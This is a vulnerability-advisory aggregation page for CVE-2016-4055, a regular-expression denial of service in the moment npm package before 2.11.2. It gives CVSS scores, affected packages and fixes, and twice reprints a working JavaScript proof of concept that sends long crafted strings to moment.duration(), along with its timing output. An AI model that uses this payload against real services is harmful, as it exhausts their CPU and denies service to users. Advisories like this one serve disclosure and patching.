CVE-2016-4055: Regular Expression Denial of Service in moment (CVSS 6.5)

Description

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

Exploit likelihood

9.90%Up 8.3 points since Feb 4, 2022

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`moment` npm	before 2.11.2	2.11.2
`moment` TuxCare:npm From an advisory covering 3 CVEs	2.10.6-tuxcare.0 up to 2.10.6-tuxcare.1, plus listed versions 2.10.6	2.10.6-tuxcare.1
`node-moment` Debian:12	before 2.13.0+ds-1	2.13.0+ds-1
`node-moment` Debian:13	before 2.13.0+ds-1	2.13.0+ds-1
`node-moment` Debian:14	before 2.13.0+ds-1	2.13.0+ds-1
`@rootio/moment` Root:npm	before 2.0.0-root.io.3	2.0.0-root.io.32.0.0-root.io.4
`moment` Root:npm	before 2.0.0-aikido.4	2.0.0-aikido.4
`node-moment` Ubuntu:Pro:16.04:LTS	before 2.11.0+ds-1ubuntu0.1~esm1, plus listed versions 2.10.6+dfsg-12.11.0+ds-1	2.11.0+ds-1ubuntu0.1~esm1
`node-moment` Ubuntu:Pro:16.04:LTS From an advisory covering 2 CVEs	before 2.11.0+ds-1ubuntu0.1~esm1, plus listed versions 2.10.6+dfsg-12.11.0+ds-1	2.11.0+ds-1ubuntu0.1~esm1

What each source reports

NVD Score used6.5

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Record: CVE-2016-4055
CVSS 3.1: 6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0: 7.8 HighAV:N/AC:L/Au:N/C:N/I:N/A:C
Weakness: CWE-400
Updated: 2026-11-02

CVE ListNo score

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Record: CVE-2016-4055
Updated: 2026-11-02

EUVDEUVD-2017-0191No score

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Record: EUVD-2017-0191
Updated: 2026-11-03

GitHub AdvisoriesGHSA-87vv-r9j6-g5qv6.5

Regular Expression Denial of Service in moment

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Record: GHSA-87vv-r9j6-g5qv
CVSS 3.0: 6.5 MediumCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-400
Updated: 2026-11-02

OSV6.5

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Record: CVE-2016-4055
CVSS 3.1: 6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVDEBIAN-CVE-2016-40556.5

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Record: DEBIAN-CVE-2016-4055
CVSS 3.1: 6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

Show 5 moreShow less

OSVGHSA-87vv-r9j6-g5qv6.5

Regular Expression Denial of Service in moment

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Record: GHSA-87vv-r9j6-g5qv
CVSS 3.0: 6.5 MediumCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-400
Updated: 2026-11-02

OSVUBUNTU-CVE-2016-40556.5

The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."

Record: UBUNTU-CVE-2016-4055
CVSS 3.1: 6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CVSS 3.0: 6.5 MediumCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02